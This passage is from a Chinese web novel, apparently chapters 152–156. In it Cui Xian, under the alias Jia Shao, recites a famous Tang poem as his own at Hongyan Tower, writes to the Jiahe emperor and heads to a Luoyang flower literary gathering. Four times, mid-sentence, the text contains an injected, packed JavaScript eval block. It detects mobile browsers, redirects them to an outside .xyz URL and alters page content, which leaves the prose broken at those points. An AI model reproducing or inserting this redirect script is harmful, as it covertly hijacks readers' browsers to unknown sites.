崔岘分别向三人拱手问好。 而后笑道:“三位热情相邀,属实是贾某之荣幸。因此一刻都不敢停留,急忙便赶来了。” 听听这话说得,多漂亮! 才华横溢,运筹帷幄。 是恣意洒脱的少年郎,但又并无寻常少年郎身上的骄矜傲慢。 难怪能入陛下的眼,难怪能被郑阁老、陈秉,以及司礼监三方争相拉拢哄抢。 这贾邵,名副其实,是个神仙人物啊! 而就在崔岘,跟三方政党代表寒暄的时候。 严思远等反岘同盟的小黑粉们,也眼巴巴赶了过来。 徐宁瞧见了,笑眯眯说道:“贾邵先生,那些都是您的朋友吧?不妨邀请他们一起登楼共饮赴宴。” “都是一群年轻有才情的少年郎,坐在一起吃宴席、观河景,实在惬意。” “贾邵先生以为如何?” 严思远等人眼睛顿时亮起来,振奋期待的看向贾邵。 他们超想跟自家领袖一起赴宴的! 崔岘其实很想说:我跟这群小黑粉们不熟。 但徐宁既然说这话,估计是已经打听到了,崔岘和严思远等人是朋友,所以故意伸出来‘橄榄枝’。 因此,崔岘略作思索,笑道:“如此,便有劳公公了。” 严思远等人激动疯了。 啊啊啊啊! 领袖愿意带我们一起赴宴,四舍五入,相当于他同意做我们的‘领袖’了! 众人一起,簇拥着贾邵登楼。 而崔岘的目光,则是若有若无的,在洛阳知府赵恒、和河南承宣布政使司参政柳冲之间,来回巡视。 这二位,谁是陈秉的人,谁……又是自家师叔李端,或者说师祖郑霞生的人呢? 开小号‘勾搭’皇帝一事,其实最该避开的,就是师祖郑霞生。 这对师祖是一种保护。 所以,崔岘暂时还得把马甲捂紧了。 戏演的越逼真,将来掉马的时候,才能在皇帝那里有‘辩驳陈情’的余地。 鸿雁楼顶。 有太监徐宁安排,十几桌美酒佳肴,很快便开 始准备。 作为‘蹭饭’的严思远等黑粉们很有分寸感选择在边边角角落座。 把主场交给贾邵和几位身份尊贵的大人们。 此刻。 佳肴还未准备好。 在太监徐宁等人的簇拥下贾邵跟他们一起站在百尺高楼顶俯瞰下方滚滚流逝的黄河。 太阳一点点变的泛红暗淡逐渐西沉。 整个天空都是霞光。 黄河两侧群山矗立郁郁葱葱。 褐色河水奔腾滚滚流向远方。 鸿雁楼距离黄河太近了又格外高耸。 站在楼顶猎猎河风裹挟着湿润的气息灌进楼内吹得一群人衣衫飞舞发丝散乱。 这等画面当真鬼斧神工令人目眩神迷。 徐宁赞叹般恭维道:“真不愧是孟津祥瑞之地实在好生壮阔!可惜我一无根之人胸无点墨。” “不像贾邵先生身负大才!想来瞧见这样的景色定能生出无限灵感作出锦绣诗篇文章来。” 太监都是人精夸人的话张口就来。 徐宁敢发誓他就是下意识恭维了一句。 而贾邵—— 他顺势装起来了! 对不住了兄弟们这一波我是要装给皇帝看的。 是以只能有劳你们来做个见证的‘配角’了! 号称唐诗五绝之首的《登鹳雀楼》用在这里实在是太应景了! 来感受一下巅峰唐诗的震撼魅力吧! 因此。 崔岘看向徐宁太监含笑道:“昔司马迁受宫刑而著《史记》蔡伦刳木为纸以利天下 “徐公公可莫要妄自菲薄。” 就这么简短一番话给徐宁说的哟心中格外熨帖。 他正欲道谢。 结果又听贾邵话音一转凭栏俯瞰黄河淡淡笑道:“不过借公公吉言。方才我站在这百尺高楼观群山巍峨黄河滔滔。” “心中感慨万千确实生出了几分灵感来。” 什、什么? 听到这话徐宁愣住了。 昌涛,洛阳知府赵恒,以及河南承宣布政使司参政柳冲,都懵逼的看向贾邵。 这就有灵感了? 听说,贾邵写得一手好字,但作诗写文章的本事,众人还真没见识过呢。 几位大人正在惊讶。 但严思远等一群小黑粉们,则是直接激动到脸色涨红,表情狂热。 他们短暂忘却了礼数,哗啦啦一群人殷切围了上来。 “贾邵先生,您要作诗?” “亦或者写文章?” “快快快,给贾邵先生研墨!还有纸笔,快快拿过来!” “只要笔墨就好,不用纸张了!贾邵先生大才,您把笔墨留在鸿雁楼梁柱上,供后来文人瞻仰吧!” “对对,写在梁柱上!” 小黑粉们神情尽是崇拜。 惹得徐宁等人心中发笑……这,不至于吧! 可很快,他们便不会笑了。 甚至比小黑粉们更加狂热,激动。 因为贾邵接过严思远递来的笔,笑道:“既如此,那贾某便斗胆献丑,在诸位面前,擅自卖弄一番吧。” “方才我观黄河有感,心中作了一首诗,其名字叫做——” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088443|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 《登鸿雁楼》。” 说话的同时。 他提笔蘸墨,一气呵成,在靠近黄河畔的梁柱上,写下了潇洒飘逸的‘登鸿雁楼’四字。 河风倒灌。 吹得贾邵一身红衣翻飞。 他站在风中,一张俊朗出尘的脸格外夺目,眉眼清亮恣意,腰身挺拔。 纵使风再大,他那执笔的手腕,却格外的沉稳。 虽早知贾邵以书法闻名,但此刻亲眼看到这般肆意洒脱的字迹,徐宁等人,还是被震撼到了。 此情此景,红衣少年郎舞文弄墨,实在令人心折! 而今日,贾邵让人心折的,可不仅仅是字。 还有诗! 便见他于猎猎风中回头,看向远方西沉的霞光,在梁柱上写下第一句诗: “白日依山尽!” 短短五个字,尽显大气磅礴,自然界鬼斧神工的天象,被他描绘的淋漓尽致。 楼里的众人骤然失声,神情呆滞。 连读书不多的太监徐宁都惊呆了,他回头看向远方—— 红日跌落山巅,漫天霞光消逝在连绵群山的尽头。 何其壮阔! 但,开头第一句便这般裹挟奔雷大势,后面……又该如何写啊?! “黄河入海流!” 正当众人震撼的时候,贾邵的第二句诗,写出来了。 白日依山尽,黄河入海流! 老天呐! 夕阳西下,黄河入海。 短短十个字,妙笔生花,雄伟壮丽。 不仅在描述景色。 还有诗句当中蕴含着的蓬勃鲜活生命力,简直快要从文字中跃出来了! 是扑面而来的豪迈张扬! 是文字诗歌的艺术魅力! 是熠熠生辉的少年意气! 看到这里,众人心脏扑通扑通跳动,一双双眼睛,齐齐看向贾邵,不约而同屏住了呼吸。 还有两句! 写,快写啊! 开头便这般震撼、精彩,不敢想,最后的诗句落笔,得有多么振聋发聩。 一首五绝名诗,即将在他们的见证下,横空出世! 感受到楼内安静的气氛。 崔岘笑了。 这,便是巅峰唐诗的魅力吧?直击心灵般的震撼! 而在众人眼中。 霞光将落未落,一身红衣,比天边霞光更加耀眼的少年郎,无视肆虐的河风,和怒吼的黄河。 他粲然一笑,将这首诗的后两句,一气呵成写出来: “欲穷千里目,更上一层楼!” 轰! 这两句诗成的一刹那。 整个鸿雁楼,彻底振奋了,沸腾了! ? 153、被钓成翘嘴的嘉和皇帝(上) 写完《登鸿雁楼》后。 崔岘转身,将毛笔搁置于一旁。 楼内。 众人看着梁柱上、那首被一气呵成写出来的璀璨诗句,再看向眼前意气风发的年轻少年郎贾邵,目光中尽是热切,与毫不掩饰的赞叹、崇拜。 欲穷千里目,更上一层楼! 得是何等的才情胸襟,肆意豪迈,才能写出来这般熠熠生辉的诗句啊! 举个例子:读过李白的诗,你就不会对‘李**丝遍天下’一事有任何怀疑。 因为诗句文章之魅力,是可以令无数人共情、且为之心驰神往、目眩神迷的。 而贾邵,在众人亲眼注视中,当场执笔,写下了这首大气磅礴的《登鸿雁楼》。 一首诗的功夫。 楼内所有人,有一个算一个,全都被‘圈粉’了! 此刻的贾邵,在他们眼中,浑身都在‘发光’! 霎是璀璨耀眼! “贾邵先生,您实乃大才子也!” “欲穷千里目,更上一层楼!这一句,看的我心神激荡,直到现在都无法平息。” “鸿雁楼上识贾邵,今日方知诗是诗啊!” “我有预感,这首《登鸿雁楼》,一定会引发大梁诗坛轰动的!” 若太监徐宁、洛阳知府几人,是真心被贾邵的才学折服,诚挚赞美。 那么严思远等一群反岘同盟的小黑粉们,此刻恨不得把贾邵给供起来。 模样俊俏,书法无敌,运筹帷幄,以一人之力拯救天下苍生。 贾邵,已经足够完美了! 更完美的是,他,还会写诗! 而且一出手,就是旷世名诗! **神童崔岘,就问你拿什么,跟我们的领袖斗? 贾邵,直接赢麻了! 若非徐宁等几位大佬还在,严思远等人已经控制不住理智,直接来‘跪求贾邵’做他们的领袖了! 孟津县令昌涛也很激动。 他看向贾邵,振奋期待问道:“欲穷千里目,更上一层楼!贾邵先生,这首诗,可是有在鼓舞我的意思?” “明日,我便要去陕西赴任了!能得先生这番激励,我对来日之官途青云路,充满了信心! 啊? 不是兄弟,你多少有点过于自作多情了! 崔岘未接这话,含糊着回复道:“嗯……去了陕西,好好干。 这话听在昌涛耳中,无异于一种肯定。 在众人羡慕嫉妒的注视下,昌涛笑的嘴巴都咧到耳后。 他憨笑说道:“先生这首《登鸿雁楼》,实在令我等叹服! “您稍等,我这便找工匠来,将您这首诗,永远镌刻在梁柱上,以供后人瞻仰! 这番话,得到了在场所有人的响应赞同。 以后但凡是登上鸿雁楼顶俯瞰黄河之人,都能读到这首诗。 那心情,该有多激荡震撼啊。 真是想想就让在场众人激动神往。 又过了会儿。 美酒佳肴已备好。 夕阳西沉,楼顶点燃起灯笼。星光伴着火光,在楼内闪烁跳跃。 意境格外雅致。 由太监徐宁提议,众人齐齐举杯,敬大才子贾邵! 敬《登鸿雁楼》! 趁着此刻气氛正好,洛阳知府赵恒笑看向贾邵,发出诚意邀约:“贾邵先生之才,实在令赵某佩服。 “也是赶巧,十日后,洛阳有一场赏花文会,广邀天下年轻才俊参与。孟津和洛阳相距很近,不知贾邵先生,可愿赏脸? “我相信,以贾邵先生之大才,一定能在洛阳文会上,一举成名天下知! 这个年代,车马很慢。 才子们想要传出名声,文会,绝对是最优选。 更何况,洛阳这场文会,声势浩大,来参加的读书人不计其数。 绝对是近年来,大梁文坛最隆重的一场文会了! 迎着洛阳知府期待的目光,崔岘笑道:“赵大人诚意相邀,贾某,自当前去赴这场盛会。 哦豁! 众人发出振奋欢呼。 徐宁笑道:“有贾邵先生参加,即将开始的洛阳赏花文会,定然精彩纷呈! 严思远等小黑粉们,已经迫不及待想要看到、领袖贾邵在洛阳文会石破天惊、名满天下的振奋场面了! 唯有河南承宣布政使司参政柳冲,神情郁闷。 一场宴席下来他都没跟贾邵先生多说几句话! 徐宁言语巴结。 赵恒邀请贾邵去参加洛阳文会。 唯有他被李端吩咐来拉拢贾邵 亲眼见识过贾邵的才情后柳冲对这位大才子格外佩服。因此他无法接受贾邵被司礼监、或者陈秉政党拉拢走。 贾邵可是郑阁老看中的人才啊! 鸿雁楼宴席结束后。 崔岘回到孟津县衙卧房准备给皇帝回信。 **的是太监徐宁洛阳知府河南承宣布政使司参政三人回去后也都着急开始写信。 盖因贾邵今日一首诗带来的震撼力和彰显出的个人魅力实在太令人心折! 这般大才子拉拢必须狠狠拉拢! 与此同时。 开封。 东莱先生看着手中的两封信陷入沉思。 其中一封信是二十多天前小徒弟从孟津发来的内容是:帮忙隐藏一下小号。 不是这才过了多久小号就打穿了? 但最近似乎没听到‘贾邵’扬名啊。 东莱先生有些纳闷但还是按照徒弟说的把‘贾邵’这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088444|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 马甲使劲藏了藏以免将来徒弟被‘扒马甲’。 二十多天后。 一封来自京城的信让东莱先生瞠目结舌。 信自然是郑阁老寄来的里面详细介绍了‘贾邵’凭借一己之力策划出‘孟津祥瑞’的事件始末。 老天呐! 最近让大梁上下齐心的‘孟津祥瑞’一事是自家小徒弟的手笔? 嘶。 饶是见惯大场面的东莱先生都没忍住倒抽一口冷气。 这……也太厉害了吧! 真不愧是老夫的乖乖徒弟! 低调不了一点。 换个马甲照样牛逼! 东莱先生脸上露出不值钱的笑容但又有些犯难。 因为老师郑霞生给他的信件上还有个指令:查一查贾邵究竟是什么来路。 “……” 这能怎么查? 东莱先生很聪明很轻易便想明白了徒弟的用 意:过于明显的加入政党,会让皇帝不喜、猜忌。所以趁着还未进朝堂,先跟皇帝搞好私人关系。 不得不说,这一步棋有些险。 但将来带来的回报,绝对是无限丰硕的! 既然崔岘做了这个计划,那么,就得让郑霞生不知情……或者佯装不知情。 因此思索过后,东莱先生给郑霞生回了一封信。 京城,郑府。 东莱先生的信,和河南承宣布政使司参政柳冲的信,前后脚送到。 书房里。 郑霞生先打开徒弟东莱的信,上面写着: 贾邵是谁?嘿嘿,你猜。 郑霞生:? 那么一个瞬间,郑阁老不可置信的看着这封信,而后反复看了好几遍。 若是东莱此刻站在这里,想来早就被他喷成筛子了! 郑霞生深吸一口气,强压下怒火,拆开了柳冲的信。 信里,柳冲洋洋洒洒将贾邵好一通夸赞,最后还附赠了贾邵的作品《登鸿雁楼》。 好一首大气磅礴的登楼诗啊! 黄河之浩瀚,跃然纸上! 郑阁老神情赞叹,而后突然回过味儿来—— 等等? 阁老大人激动的将东莱那封‘嘿嘿、你猜’的信捏在手里反复观看,再看看柳冲这封信,懂了。 贾邵! 假! 好家伙! 小崔岘哟,真有你的,把师祖都给骗的团团转! 难怪,难怪哟! 我就说怎么平白无故的,突然来了一场像是特地送给我的祥瑞! 原来,是我家乖乖徒孙在惦记师祖呢。 想通了这一点。 郑阁老靠在书房的躺椅上,再也掩饰不住眉眼中的骄傲与欣慰,嘿嘿低声怪笑。 ? 154、被钓成翘嘴的嘉和皇帝(下) 郑霞生也是个人精。 亦或者说,他们徒孙三代人,就没一个脑瓜子简单的。 三人甚至都没有详谈,通过寥寥数语,便确定了彼此的想法,而后默契打起了配合。 就比如郑阁老。 自己心里美滋滋想着:我家乖徒孙小崔岘实在太优秀啦! 但嘴上却跟底下人郑重交代:拉拢!一定要把大才子贾邵,拉拢到咱们这边来。 宛如一个老精分。 另一边。 在开封的东莱先生同样茫然表示:贾邵是谁,老夫不知啊! 我忙着给徒弟造势呢。 没错,最近的开封,发生了一件‘万众瞩目’的大事! 昔日‘大梁第一神童’崔岘,即将要兑现‘五年辩经之约’了! 他的老师,文坛领袖东莱,已经抵达开封,并且放出话来: 正在选址铸辩经高台! 高台铸成之日,便是崔岘登台,接受文坛大儒、才子们挑战之时! 一石激起千层浪。 自开封引发轰动后,崔岘兑现五年辩经之约的消息,迅速开始传遍文坛。 人们恍惚的想着,原来,一晃已经五年过去了! 小神童崔岘的辉煌过往,再度被人回忆起来,并津津乐道议论。 但,再辉煌也是曾经。 五年过去,昔日的神童,是会泯然于众人矣,还是会再度大放异彩呢? 接下来的开封辩经,自会给出答案! 整个大梁文坛表面看似‘不在乎一个过气神童’,实则私下已经开始暗潮汹涌、潜流激荡! 无数道不怀好意的目光,看向了开封。 看向了过气神童崔岘! 郑霞生、东莱两个人精,戏演的太好了。 以至于。 远在江西袁州府的前首辅陈秉,在收到洛阳知府赵恒夸赞贾邵的信件后,老脸笑成一朵菊花。 谁不喜欢满身才情、谦逊有礼、又足智多谋的年轻少年郎呢? 莫说皇帝喜欢贾邵。 陈秉也很是喜欢呐! 郑霞生那个徒孙,叫崔岘的,小小年纪,便成为‘大梁第一神童’,学识惊人 。 但陈秉觉得,读书固然有用,可只懂读死书,是没用的! 还得是贾邵这般,运筹帷幄、决胜千里之人,更有实力。 来日一旦进了官场,那就是扶摇直上,平步青云! 既然这样,那不如……将此子收入麾下,好生培养一番,将来做自己政党的**人? 一场‘孟津祥瑞’,一首《登鸿雁楼》,让眼光毒辣的陈秉,看到了贾邵身上堪称恐怖的潜力。 这般神仙人物,想要拉拢,前期自然要多付出一些。 因此。 捋清楚思路的陈秉,给洛阳知府赵恒回信: 贾邵既答应你去洛阳文会,就代表他不排斥和我们接触。你作为洛阳文会的主办者,动用手中全部的资源,替贾邵扬名! 我会让朝堂上一些人帮你,你们一起合力,把贾邵之名,传唱天下! 前·陈首辅心想,贾邵啊贾邵,老夫都替你做到这份上了。 你还不快快投奔老夫麾下! 孟津。 崔岘对即将发生的事情,并不知情。 自鸿雁楼赴宴归来后。 他坐在卧房里,在清亮的油灯下,执笔给嘉和皇帝回信。 信件的开头,他写的很简单:恭请陛下圣安。 按照正常情况,其实应该写:草民某某某,恭请陛下圣安。 但显然不行,这是会留下把柄的‘欺君之罪’。 而崔岘现在以‘贾邵’的身份和皇帝通信,完全不算是欺君。 因为他从未跟皇帝撒谎说:我是贾邵。 崔岘只是跟昌涛说了,自己叫贾邵而已。 至于昌涛怎么跟皇帝说的—— 那是昌涛的事情,跟他崔岘又有何关系呢? 凭什么说我欺君? 可不许瞎说奥! 我的心里全是‘君’! 一封简短的信,很快便写完了。 崔岘把信件交给昌涛,昌涛自然不敢耽搁,让信使走官道加急,送去京城司礼监。 司礼监这边,就更不敢怠慢了。 送给皇帝的信,谁敢耽搁? 因此,这封信便高效、快速、顺利的,送到 了嘉和皇帝的手上。 彼时。 嘉和皇帝打坐后,又吃了国师炼制的仙丹,觉得飘飘欲仙,正是心情舒畅的时候。 听说孟津来信。 皇帝惊讶‘哦’了一声,而后笑道:“呈上来,让朕看看,朕的祥瑞才子,给朕写了什么。” 显然,在皇帝的心中—— 祥瑞县令昌涛:假的。 祥瑞才子贾邵:真的。 司礼监太监赶忙把信件递过来。 皇帝缓缓拆开那封信,眯起眼睛看了片刻,而后爽朗笑出声,赞叹道:“欲穷千里目,更上一层楼,好啊!” 说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088445|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 罢。 他便这样穿着道袍,自蒲团上站起来,赤脚走出乾清宫寝殿,凭栏站在金殿高台,俯瞰整个紫禁城。 惹得太监们惊呼连连,纷纷拿着鞋子、大氅过来,生怕皇帝着凉。 嘉和皇帝却并不在意。 他攥着手中的信,反复读着那首《登鸿雁楼》,眼睛里是惊艳,是向往,是……一代帝王的得意与欢喜。 坦白说,嘉和皇帝是真没料到,贾邵会给自己送来一首诗,一首关于孟津的诗! 他喜欢孟津。 于是。 通过这首诗,他站在紫禁城之巅,想象到了滚滚黄河,想象到了落日霞光。 想象到了他的天子福地,孟津高百尺的鸿雁楼。 贾邵文采惊人,短短二十个字,便为他描绘出了一幅大气恢弘、壮阔巍峨的山河画卷图! 那是他的江山社稷啊! 这是嘉和皇帝,第一次对‘江山社稷’四字,有了真实的感触。 ‘风水宝地’紫禁城常年聚风。 乾清宫大殿外,风声猎猎,吹得嘉和皇帝衣袍翻飞。 他凭栏站在高处。 想象着贾邵登鸿雁楼,被他的江山所震撼,挥墨写下《登鸿雁楼》的画面,脸上的笑意越发明显。 没来由的,嘉和皇帝突然问道:“孟津的鸿雁楼,可有朕的紫禁城巍峨啊?” 司礼监太监‘哎呦’一声:“陛下,这世间啊,甭管什么楼,都没资格跟您的紫禁城比哟!” 听到这话,皇帝很满意。 甚至他心中还生出了一个想法:有机会的话,应该让贾邵亲自来看一看朕的紫禁城! 想来,那少年郎会更加震撼吧。 不过现在还不是时候,因为如今,那少年郎应该前往洛阳了。 洛阳,也是个人杰地灵的好地方啊。 皇帝为什么会清楚贾邵的动向呢? 因为他在信里,简短介绍自己登孟津鸿雁楼有感,作了一首诗,呈送陛下点评。 而后末尾似乎是不经意的,写了简短的一句话: 听说四月洛阳赏花文会很热闹,草民想去看看。 就这么简短一句话,真的很微妙,很有意思。 嘉和皇帝通过贾邵,看向了洛阳,想到了洛阳,并—— 有了期待。 贾邵这次洛阳行,又会看到什么样的美景,给朕送来什么信件呢? 这位困于紫禁城里的皇帝,跟着一位少年,在自己辽阔的江山里,开启了一段梦幻又真实的趣味‘云旅游’。 ? 155、牡丹阁甲字一号房 崔岘把皇帝那封回信送出的次日。 原孟津县令昌涛,要奔赴陕西汉中府上任了。 新任孟津县令,也在赶来赴任的途中。 县衙外。 昌涛带着喜气洋洋的一家老小,同贾邵告别。 “我今年40岁了,早已被磨灭了少年心气,以为自己这辈子,就这样了。” “没想到,40岁峰回路转,得以遇见先生,有了一番新的造化。” 昌涛站在马车旁,感慨般朝着贾邵一拱手,神情中是真挚的感激,与不舍:“但可惜,还未与先生过多熟悉,便要潦草分别了。” “今日这一别,也不知将来何年,能再相见。” 萍水相逢一场,得贾邵指点,昌涛连升三级。 如何不是大造化? 但这个年代啊,相逢匆匆,相别——也有可能是永别。 车马越慢,才让各种感情,显得越发真挚。 崔岘朝着昌涛拱手回礼,笑的格外灿烂洒脱:“《庄子·山木》篇曰:且君子之交淡如水。” “大人尽管去奔自己的大好前程,你我有缘,来日自会再相见。” 四十岁,已有风霜感的昌涛,看着年轻肆意的贾邵,听着他说这番话,很是感触。 也很是艳羡。 人好像越长大,越不够洒脱。 是以一场离别,便让他心生愁绪。 但,十六岁的昌涛,一定不是这样子的! 多年生活磋磨,他……好像把自己弄丢了。 没来由的,昌涛想起昨日鸿雁楼上贾邵的那首诗:欲穷千里目,更上一层楼。 当真让人热血激荡啊。 四十岁的县令,前途渺茫。 然而,四十岁的知府,璀璨征途才刚刚开始。 想到这里,昌涛眼神越发清亮,整个人竟恢复了几分少年时候的风发意气。 他翻身上了马车,回看向贾邵,爽朗笑道:“对,有缘来日自会相见!” “先生方才提起《庄子》,临行前,我便引《庄子·逍遥游》篇,祝先生他日:鹏之徙于南冥也,水击三千里,抟扶摇而上者九**。” 崔岘闻言,笑回道:“那,我引《周易· 乾卦》篇,祝大人:自天佑之,吉无不利。 好一个‘自天佑之,吉无不利’! 这句话的意思是:顺应天时、德行兼备,得天地庇佑,诸事顺遂。 说的可不就是他昌涛嘛! 站在马车上,昌涛笑的格外灿烂,郑重朝着贾邵弯腰作揖礼。 而后钻进马车,和一家人一起,去陕西赴任。 崔岘站在县衙外,目送昌涛的马车越来越远,心中多少也有些感慨。 但人类的悲欢并不相同。 严思远等一群小黑粉们,只觉得昌涛屁话太多! 见昌涛终于走了。 在远处早就等到不耐烦的他们,急急围了过来,期待道:“贾邵先生,孟津事了,咱们是不是该启程,去洛阳参加文会了? 咿? 崔岘闻言惊讶道:“咱们?我何时答应带你们去洛阳文会了? 别啊! 严思远急了,赶忙道:“先生,您就带着我们吧!我们什么都肯做的!你想想,此去洛阳一路颠簸。 “您要吃饭,要住宿,要乘坐马车,这些我们都给您安排好! 其余黑粉们忙不迭点头。 但,这些事情,怎么会没人给崔岘安排呢? 几乎是在严思远话音落下。 太监徐宁、洛阳知府、河南承宣布政使司参政三人,派遣各自的属下,给贾邵送来了厚礼。 他们知道,昌涛离开孟津,贾邵住在县衙就不太方便了。 因此。 几人张罗着,给贾邵订了最好的酒楼,以供贾邵在孟津落脚。 又送来四匹骏马拉着的奢华马车,车夫,好酒好茶,名贵衣衫、糕点蜜饯等等。 可谓五花八门,格外精细。 甚至还有两个模样清丽的美婢。 当然,被崔岘给拒绝了。 最难消受美人恩,这背后都是老千层套路了! 可不敢,可不敢啊! 见贾邵乘坐奢华马车,潇洒离去。 严思远等人只觉得天都塌了。 好消息:找到了最完美的反岘同盟领袖! 坏消息:领袖根本看不上他们这群废 物! 崔岘在孟津又住了五日。 其实倒是没有别的事儿,但—— ‘孟津祥瑞’因他而起,总要有始有终。 第五日。 朝廷的一万石赈灾粮,终于抵达孟津。 城外流民百姓泣声欢呼。 不仅如此。 一群自京城而来的商贾,挥舞着大把的银子,要收购孟津黄河鲤鱼! 且是无限量收购,加价收购! 整个孟津渔业市场,迎来了一场狂欢。 先前的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088446|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苦闷、恐慌顷刻间消失不见,全孟津人脸上都带着笑容:好日子要来咯! 市井街道上。 孟津人们都在兴奋谈论‘黄河鲤鱼涨价’。 却没有人注意。 一辆由四匹骏马拉着的奢华马车,缓缓自街道上行驶而过。 马车里。 崔岘斜倚在窗边,看着熙攘安乐的百姓们,黝黑的眼睛浮现出笑意。 他给自己斟了一杯酒,同窗外自烟火市井中吹来的风,轻轻碰了个杯。 敬眼前的孟津盛世。 ……也敬我自己! 奢华马车不再停留,一路出孟津,越过鸿雁楼,朝洛阳出发。 途径鸿雁楼的时候。 似乎听见楼里一群读书人们在震撼高呼。 “欲穷千里目,更上一层楼!这首诗,乃我平生仅见之佳作!” “贾邵是谁?为何我从来没听过此人的名讳?前些天我来鸿雁楼,还没有这首诗!这一定是最近才镌刻上去的!” “这首《登鸿雁楼》,实在太过于大气磅礴!贾邵凭借这首诗,便可立足诗坛!” “不仅诗写得好,这潇洒飘逸之字迹,也足以开宗立派了啊!” 另一边。 洛阳。 四月中旬,满城牡丹盛开。 大梁文人才子,齐聚洛城。 而赏花文会的地点,被洛阳知府赵恒别出心裁,安排在了牡丹阁。 这牡丹阁,巍峨恢弘不输鸿雁楼,但又设计的极为富贵雅致。 以牡丹阁为中心,周围是上百亩的‘牡丹园林’,各种颜色的牡丹争奇斗艳,煞是好看。 今年牡丹文会声势大,来参加的文人才子,无不是名头响当当之人。 这就有些难搞。 因为牡丹阁的房间,楼层越高,越奢华尊贵。 才子们表面看似大度,实则背地里都暗搓搓盯着牡丹阁,看他们怎么给分配房间。 大家都是身负盛名的年轻人,谁肯服谁? 凭什么某某比我住的楼层高,难道你觉得我不如他? 文会还没开始,气氛就显得焦灼起来。 然而让无数才子文人们匪夷所思的是,他们还在暗搓搓观望呢,牡丹阁最奢华的甲字一号房,提前被内定下了! 甲字一号房门外,挂着的‘贾邵’二字,瞬间引发一片哗然。 贾邵? 谁? 哪里来的十八线小咖? 黑幕! 绝对有黑幕! ? 156、贾邵隆重登场! 把贾邵安排在牡丹阁甲字一号房,自然是洛阳知府赵恒授意的。 一是,赵恒收到了袁州府陈秉的回信:动用一切资源,替贾邵扬名。 就因为这封信,本次牡丹赏花文会的性质就变了。 它不再是一场简单的文会。 而是用来‘捧人’的。 所以参加文会的读书人们,怀疑贾邵直接住甲字一号房存在黑幕—— 从某种程度上来说,确实是这样的! 二是,京城那边,也送来了一封信。 那是陛下给贾邵的回信。 贾邵人还没到洛阳,陛下的回信先送来了,说明陛下对贾邵的行踪一清二楚。 这得是多么隆重的圣恩啊! 洛阳知府赵恒心中羡慕到滴血,但因此,对贾邵的态度自然也越发殷勤热络。 直接把‘甲字一号房’拨给了贾邵。 因为他还巴巴盼望着,贾邵来了洛阳,给陛下回信的时候,顺带夸一夸洛阳呢。 就算自己不能像‘祥瑞县令昌涛’那般连升三级,但也能在皇帝跟前混个脸熟啊! 洛阳,知府衙门。 洛阳同知走进来,神情颇为忧虑:“知府大人,下官听闻,大量参加文会的读书人,对贾邵住甲字一号房十分不满。” “甚至拒绝入住牡丹阁,且计划着等贾邵一露面,就找此人切磋学问。” “您看,这个事情该如何是好?” 其实洛阳同知也是想侧面打探一下,贾邵,究竟是谁? 此人有何恐怖背景,竟然能让赵知府力排众议,明晃晃把他安排在甲字一号房。 但问题是,这是文会啊! 身负傲气的读书人众多,眼高于顶的大才子众多。 没有真才学识,就算住进甲字一号房,有什么用? 会闹笑话的! 然而。 听完洛阳同知的话,知府赵恒却神秘一笑,淡淡道:“无碍,且让他们去闹腾吧。” “反正到时候,丢人的是他们自己。” 听到这话的洛阳同知:? 什么意思,这贾邵,难道是个了不得的大才子? 但此前根本没听过这人 名讳啊! 洛阳同知还想变着法打听一番贾邵的情况,但赵恒却闭了嘴,一个字也不肯多说。 贾邵这种‘顶级**资源香饽饽’,他自然要独自抱紧。 哪里舍得分享? 洛阳同知见状,心中暗骂,但却苦于没有门路,完全琢磨不透其中深意。 但当日午后,震撼洛阳同知的一幕来了。 有差役来禀报,说是一辆马车自孟津而来,应该是贾邵先生快到了。 “哦?太好了!本官这就去亲自迎接!” 赵恒闻言,满脸喜色,然后殷勤的宛如见了老父亲般,竟屁颠颠亲自去城外接人了。 洛阳同知满脸匪夷所思,大为震惊。 不是,哥,你好歹是个知府啊! 这么不值钱的吗? 那贾邵,究竟是什么恐怖来头! 赵恒走后,洛阳同知在衙房里急的团团转,越想越觉得不对劲。 